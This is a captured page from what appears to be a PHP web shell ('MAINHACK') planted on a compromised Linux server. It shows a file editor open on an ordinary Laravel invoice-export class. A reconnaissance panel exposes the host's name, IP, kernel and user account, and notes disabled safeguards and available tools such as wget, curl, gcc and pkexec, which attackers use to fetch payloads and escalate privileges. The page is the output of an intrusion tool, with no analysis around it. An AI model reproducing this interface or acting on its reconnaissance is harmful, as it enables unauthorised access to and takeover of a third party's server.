[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: invoiceExport.php
<?php namespace App\Exports; use App\Models\Invoice; use App\Models\Utility; // use App\Models\Projects; // use App\Models\Timesheet; use Maatwebsite\Excel\Concerns\FromCollection; use Maatwebsite\Excel\Concerns\WithHeadings; class invoiceExport implements FromCollection, WithHeadings { public function collection() { $data = Invoice::where('workspace_id', \Auth::user()->currentWorkspace)->get(); foreach ($data as $k => $Invoice) { unset($Invoice->created_by, $Invoice->terms); $invoice_name = Utility::invoiceNumberFormat($Invoice->invoice_id); $pro_nm = Utility::project_nm($Invoice->project_id); $tax_name = !empty($Invoice->tax_id) ? Utility::tax_nm($Invoice->tax_id) : ""; $client_name = Utility::taxRate($Invoice->client_id); $data[$k]["invoice_id"] = $invoice_name; $data[$k]["project_id"] = $pro_nm; $data[$k]["status"] = $Invoice->status; $data[$k]["issue_date"] = $Invoice->issue_date; $data[$k]["due_date"] = $Invoice->due_date; $data[$k]["discount"] = $Invoice->discount; $data[$k]["tax_id"] = $tax_name; $data[$k]["client_id"] = $client_name; $data[$k]["workspace_id"] = $Invoice->workspace_id; } return $data; } public function headings(): array { return [ "ID", "invoice_id", "project_id", "status", "issue_date", "due_date", "discount", "tax_id", "client_id", "workspace_id", "Created At", "Updated At", ]; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002